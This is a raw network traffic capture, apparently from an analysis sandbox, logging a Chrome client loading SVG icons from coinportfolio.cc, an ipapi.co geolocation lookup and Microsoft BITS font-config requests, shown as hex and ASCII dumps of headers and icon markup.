2024-08-09 17:11:53 UTC	760	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:53 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:10 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108343 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uOzcE4EPspMcNuzW0xnvbCLYwPgFPjR9U%2By1NUFOuK9%2FeYVt9lU0BJoJozwkyOvO0FWrKVm3lHMLWIdB9psOOBhKxTUhtLsJpeTYFbSEObuu%2Bti6iuSQGCuf5nREfnQlJcXE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e301abf41fe-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:53 UTC	609	IN	Data Raw: 32 61 36 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 38 22 20 68 65 69 67 68 74 3d 22 31 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 30 38 36 30 30 22 20 64 3d 22 4d 39 20 31 38 41 39 20 39 20 30 20 31 20 30 20 39 20 30 61 39 20 39 20 30 20 30 20 30 20 30 20 31 38 5a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 34 2e 34 36 20 39 2e 38 39 33 63 30 2d 31 2e 35 34 32 2e 37 35 2d 32 2e 33 34 20 31 2e 39 34 35 2d 32 2e 33 34 2e 39 20 30 20 31 2e 34 34 38 2e 33 34 35 20 31 2e 36 34 33 2e 34 34 36 61 2e 39 34 2e 39 34 20 30 20 30 20 30 20 2e 32 35 33 2d 2e 36 34 39 63 30 2d 2e 34 34 37 Data Ascii: 2a6<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" fill="none"><path fill="#008600" d="M9 18A9 9 0 1 0 9 0a9 9 0 0 0 0 18Z"/><path fill="#fff" d="M4.46 9.893c0-1.542.75-2.34 1.945-2.34.9 0 1.448.345 1.643.446a.94.94 0 0 0 .253-.649c0-.447
2024-08-09 17:11:53 UTC	76	IN	Data Raw: 35 32 2e 34 34 37 2e 36 34 38 2e 37 20 31 2e 31 39 36 2e 37 2e 32 39 35 20 30 20 2e 34 39 37 2d 2e 31 30 31 2e 35 34 38 2d 2e 31 35 32 6c 2d 31 2e 39 39 35 2d 33 2e 32 39 33 68 2d 2e 30 30 32 5a 22 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: 52.447.648.7 1.196.7.295 0 .497-.101.548-.152l-1.995-3.293h-.002Z"/></svg>
2024-08-09 17:11:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:54 UTC	543	OUT	GET /json/ HTTP/1.1 Host: ipapi.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://coinportfolio.cc Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://coinportfolio.cc/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:54 UTC	718	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:54 GMT Content-Type: application/json Content-Length: 763 Connection: close Allow: OPTIONS, POST, GET, HEAD, OPTIONS X-Frame-Options: DENY Vary: Host, origin access-control-allow-origin: https://coinportfolio.cc X-Content-Type-Options: nosniff Referrer-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wMxCna7rmHMuIzEB%2F5u3bqthI%2FHdaTppEJOZdA4C7KMudser72wkbWYkzg8suOFKoLKoYWS9vreJ3L9qpRVJBygmGkEVulXtaWK35Kp2Ys3gn55vtGOfNSJ%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e36ef22180d-EWR
2024-08-09 17:11:54 UTC	651	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e Data Ascii: { "ip": "8.46.123.33", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "coun
2024-08-09 17:11:54 UTC	112	IN	Data Raw: 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 61 72 65 61 22 3a 20 39 36 32 39 30 39 31 2e 30 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 70 6f 70 75 6c 61 74 69 6f 6e 22 3a 20 33 32 37 31 36 37 34 33 34 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 41 53 33 33 35 36 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 4c 45 56 45 4c 33 22 0a 7d Data Ascii: , "country_area": 9629091.0, "country_population": 327167434, "asn": "AS3356", "org": "LEVEL3"}

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:56 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-09 17:11:56 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=84809 Date: Fri, 09 Aug 2024 17:11:56 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:57 UTC	621	OUT	GET /2feb3e56b/8a55fd2040ecaf181e6c.svg HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:57 UTC	768	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:57 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:10 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108347 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h2GrXgxfDWw6IFh7fugZIJH%2BNbUwwYO7F1jWdHvpe2rjgrcre6RowVrJ7FRmJt%2BdyZhGOkTAaIe%2Bg5IcF%2BzVi9llKSAlMzt80f%2BrOxmqhUa43FDH%2F7HntGQ48ZaZ2lASgS%2F9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e477853191b-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:57 UTC	534	IN	Data Raw: 32 30 66 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 20 73 74 79 6c 65 3d 22 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 65 77 20 2d 35 39 38 2e 35 20 39 37 31 2e 35 20 35 30 20 35 30 22 20 76 69 65 77 42 6f 78 3d 22 2d 35 39 38 2e 35 20 39 37 31 2e 35 20 35 30 20 35 30 22 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 2d 35 37 33 2e 35 22 20 63 79 3d 22 39 39 36 2e 35 22 20 72 3d 22 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 32 63 61 30 31 63 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 2d 35 39 31 2e 35 20 39 39 36 2e 35 63 30 20 35 2e 34 20 34 2e 34 20 39 2e 38 20 39 2e 38 20 39 2e 38 68 31 2e 34 76 2d 33 Data Ascii: 20f<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="enable-background:new -598.5 971.5 50 50" viewBox="-598.5 971.5 50 50"><circle cx="-573.5" cy="996.5" r="25" style="fill:#2ca01c"/><path d="M-591.5 996.5c0 5.4 4.4 9.8 9.8 9.8h1.4v-3
2024-08-09 17:11:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:57 UTC	604	OUT	GET /2feb3e56b/pr6.svg HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:57 UTC	764	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:57 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:10 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108347 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=55IHqr5%2FKRBBm2902SL3jVNTvlrNKYldWsvshCiyOQFTu6zNWv8HGehn21dE2aHpZvQJ%2BtbBrzXJxKwlmz%2FsvN2%2FQFretUG5a3rGnw12XoIJflet5uy1j76Vp4CfJScFroz%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e477b705e7d-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:57 UTC	482	IN	Data Raw: 31 64 62 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 32 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 38 20 30 63 32 2e 37 39 36 20 30 20 34 2e 38 39 33 20 32 2e 31 38 34 20 34 2e 39 39 36 20 35 2e 32 36 32 4c 31 33 20 35 2e 35 56 37 68 31 61 32 20 32 20 30 20 30 20 31 20 32 20 32 76 39 61 32 20 32 20 30 20 30 20 31 2d 32 20 32 48 32 61 32 20 32 20 30 20 30 20 31 2d 32 2d 32 56 39 61 32 20 32 20 30 20 30 20 31 20 32 2d 32 68 31 56 35 2e 35 43 33 20 32 2e 32 39 38 20 35 2e 31 33 33 20 30 20 38 20 Data Ascii: 1db<svg xmlns="http://www.w3.org/2000/svg" width="16" height="20" fill="none"><path fill="#fff" fill-rule="evenodd" d="M8 0c2.796 0 4.893 2.184 4.996 5.262L13 5.5V7h1a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V9a2 2 0 0 1 2-2h1V5.5C3 2.298 5.133 0 8
2024-08-09 17:11:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:57 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-09 17:11:58 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=84822 Date: Fri, 09 Aug 2024 17:11:58 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-09 17:11:58 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:57 UTC	628	OUT	GET /2feb3e56b/2bc132dd11f8063cde8a.svg HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://coinportfolio.cc/2feb3e56b/prs.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:58 UTC	762	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:58 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:14 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108344 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ef0fNN%2FINSqaf7aZdEPkzVJcwBg0l%2BpacSdChr8F9He5%2FeV2%2B353c8vTzOfmJnxbeM4UtivZ6n0v8XpEWIt5pAgX82GvjgYVyOTcBSW1TBo2KjtdYOUcKAU6XXy8uLsRhCsy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e4bb89503d5-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:58 UTC	607	IN	Data Raw: 34 63 37 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 39 35 22 20 68 65 69 67 68 74 3d 22 32 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 39 35 20 32 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 63 6c 69 70 30 5f 37 31 5f 33 36 36 34 36 29 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 38 2e 33 35 38 31 20 31 31 2e 35 32 33 34 43 34 38 2e 33 35 38 31 20 31 36 2e 32 37 36 31 20 35 32 2e 31 37 30 39 20 31 39 2e 37 34 39 37 20 35 37 2e 30 31 33 34 20 31 39 2e 37 34 39 37 43 36 31 2e 38 35 35 39 20 31 39 2e 37 34 39 37 20 36 35 2e 36 37 31 36 20 31 36 2e 32 38 31 34 20 36 35 2e 36 37 31 36 20 31 31 2e Data Ascii: 4c7<svg width="95" height="20" viewBox="0 0 95 20" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_71_36646)"><path d="M48.3581 11.5234C48.3581 16.2761 52.1709 19.7497 57.0134 19.7497C61.8559 19.7497 65.6716 16.2814 65.6716 11.
2024-08-09 17:11:58 UTC	623	IN	Data Raw: 6c 3d 22 23 32 33 36 43 46 46 22 2f 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 39 2e 34 31 35 35 20 34 2e 39 39 32 37 38 48 33 35 2e 30 31 31 33 56 31 39 2e 33 37 30 33 48 33 39 2e 37 30 30 31 56 34 2e 39 39 32 37 38 48 34 35 2e 32 39 33 35 56 30 2e 36 31 34 32 35 38 48 32 39 2e 34 31 35 35 56 34 2e 39 39 32 37 38 5a 22 20 66 69 6c 6c 3d 22 23 32 33 36 43 46 46 22 2f 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 2e 38 31 38 33 34 20 30 2e 36 31 34 32 35 38 48 30 2e 31 32 39 37 37 36 56 31 39 2e 33 37 30 33 48 34 2e 38 31 38 33 34 56 39 2e 39 39 32 32 35 56 30 2e 36 31 34 32 35 38 5a 22 20 66 69 6c 6c 3d 22 23 32 33 36 43 46 46 22 2f 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 36 2e 39 34 37 37 20 38 2e 34 36 31 31 37 43 32 36 2e 39 34 37 37 20 33 2e 37 30 38 35 20 32 33 Data Ascii: l="#236CFF"/><path d="M29.4155 4.99278H35.0113V19.3703H39.7001V4.99278H45.2935V0.614258H29.4155V4.99278Z" fill="#236CFF"/><path d="M4.81834 0.614258H0.129776V19.3703H4.81834V9.99225V0.614258Z" fill="#236CFF"/><path d="M26.9477 8.46117C26.9477 3.7085 23
2024-08-09 17:11:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:57 UTC	621	OUT	GET /2feb3e56b/40eb1532f9b35de51b7e.svg HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:58 UTC	764	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:58 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:14 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108344 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d7HfnAUGndfe5CBxnHBeDlD%2FplWSqfbU1Vt9f8gwaIVDn2ovcs%2Be%2BvUkbGMedRl9xQ3PAYT%2ByZgxvkZ9oE9ZHToXsCdGdV214SWgzIDlnvRH%2F72bcjtmjpaaRzStCKLg5i3V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e4bbf0b7c8e-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:58 UTC	605	IN	Data Raw: 37 63 31 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 36 30 22 20 68 65 69 67 68 74 3d 22 31 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 36 42 36 43 37 32 22 20 64 3d 22 4d 34 2e 38 31 36 20 35 2e 35 31 32 48 32 2e 37 30 34 56 33 2e 34 48 31 2e 36 31 36 76 32 2e 31 31 32 48 2e 30 36 34 76 2e 39 31 32 68 31 2e 35 35 32 76 34 2e 36 37 32 63 30 20 31 2e 36 34 38 20 31 2e 31 32 20 32 20 31 2e 39 32 20 32 20 2e 34 39 36 20 30 20 2e 38 39 36 2d 2e 30 38 20 31 2e 32 38 2d 2e 32 32 34 6c 2d 2e 30 34 38 2d 2e 39 34 34 61 32 2e 32 33 20 32 2e 32 33 20 30 20 30 20 31 2d 2e 39 34 34 2e 32 34 63 2d 2e 36 35 36 20 30 2d 31 2e 31 Data Ascii: 7c1<svg xmlns="http://www.w3.org/2000/svg" width="60" height="14" fill="none"><path fill="#6B6C72" d="M4.816 5.512H2.704V3.4H1.616v2.112H.064v.912h1.552v4.672c0 1.648 1.12 2 1.92 2 .496 0 .896-.08 1.28-.224l-.048-.944a2.23 2.23 0 0 1-.944.24c-.656 0-1.1
2024-08-09 17:11:58 UTC	1369	IN	Data Raw: 2e 35 34 37 20 32 2e 35 34 37 20 30 20 30 20 30 2d 2e 37 32 2d 2e 30 38 63 2d 31 2e 30 35 36 20 30 2d 31 2e 39 38 34 2e 36 30 38 2d 32 2e 34 20 31 2e 34 37 32 68 2d 2e 30 33 32 63 30 2d 2e 33 32 2d 2e 30 33 32 2d 2e 38 38 2d 2e 30 36 34 2d 31 2e 32 38 68 2d 31 2e 30 34 63 2e 30 34 38 2e 35 31 32 2e 30 36 34 20 31 2e 32 34 38 2e 30 36 34 20 31 2e 36 34 38 5a 6d 36 2e 36 36 38 20 34 2e 35 37 36 63 2e 36 34 2e 39 34 34 20 31 2e 37 36 20 31 2e 34 35 36 20 32 2e 38 33 32 20 31 2e 34 35 36 20 32 2e 33 33 36 20 30 20 33 2e 38 37 32 2d 31 2e 37 32 38 20 33 2e 38 37 32 2d 33 2e 39 33 36 53 32 37 2e 31 35 20 35 2e 33 32 20 32 34 2e 38 31 35 20 35 2e 33 32 63 2d 31 2e 30 37 32 20 30 2d 32 2e 31 39 32 2e 35 31 32 2d 32 2e 38 33 32 20 31 2e 34 38 38 68 2d 2e 30 33 32 Data Ascii: .547 2.547 0 0 0-.72-.08c-1.056 0-1.984.608-2.4 1.472h-.032c0-.32-.032-.88-.064-1.28h-1.04c.048.512.064 1.248.064 1.648Zm6.668 4.576c.64.944 1.76 1.456 2.832 1.456 2.336 0 3.872-1.728 3.872-3.936S27.15 5.32 24.815 5.32c-1.072 0-2.192.512-2.832 1.488h-.032
2024-08-09 17:11:58 UTC	18	IN	Data Raw: 2e 32 34 20 31 33 5a 22 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: .24 13Z"/></svg>
2024-08-09 17:11:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:57 UTC	621	OUT	GET /2feb3e56b/c476f1dbe9f4b4da240c.svg HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:58 UTC	760	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:58 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:14 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108344 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L1Jn8JVE1odU1Pdz%2FMm3cWxxQve57WUHRbyFILlisUzF1JWkciCFzP1d599%2FTdphezAL5Ki%2BonpXKVvHTg9veo6lJS2SM0k5tmxbhB8N5RYJzAGedy3ENkn11Im0cwmxKFse"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e4bbf7343ad-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:58 UTC	609	IN	Data Raw: 62 62 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 38 37 22 20 68 65 69 67 68 74 3d 22 31 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 36 42 36 43 37 32 22 20 64 3d 22 4d 37 2e 36 38 20 36 2e 36 31 36 43 37 2e 30 34 20 35 2e 37 35 32 20 35 2e 39 30 34 20 35 2e 33 32 20 34 2e 38 39 36 20 35 2e 33 32 63 2d 32 2e 34 31 36 20 30 2d 34 20 31 2e 36 38 2d 34 20 33 2e 39 33 36 20 30 20 32 2e 32 35 36 20 31 2e 35 38 34 20 33 2e 39 33 36 20 34 20 33 2e 39 33 36 20 31 2e 32 39 36 20 30 20 32 2e 32 30 38 2d 2e 35 31 32 20 32 2e 38 34 38 2d 31 2e 32 39 36 6c 2d 2e 38 31 36 2d 2e 36 30 38 63 2d 2e 34 33 32 2e 35 37 36 2d 31 2e Data Ascii: bb8<svg xmlns="http://www.w3.org/2000/svg" width="87" height="14" fill="none"><path fill="#6B6C72" d="M7.68 6.616C7.04 5.752 5.904 5.32 4.896 5.32c-2.416 0-4 1.68-4 3.936 0 2.256 1.584 3.936 4 3.936 1.296 0 2.208-.512 2.848-1.296l-.816-.608c-.432.576-1.
